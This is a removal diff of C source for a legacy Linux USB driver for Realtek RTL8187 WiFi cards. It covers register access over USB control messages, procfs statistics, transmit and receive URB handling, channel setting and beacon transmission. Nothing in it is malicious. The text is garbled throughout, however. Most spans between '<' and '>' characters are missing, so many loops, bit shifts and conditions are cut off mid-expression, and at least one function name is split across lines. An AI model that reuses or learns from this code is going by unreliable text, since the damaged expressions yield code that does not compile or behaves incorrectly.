char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 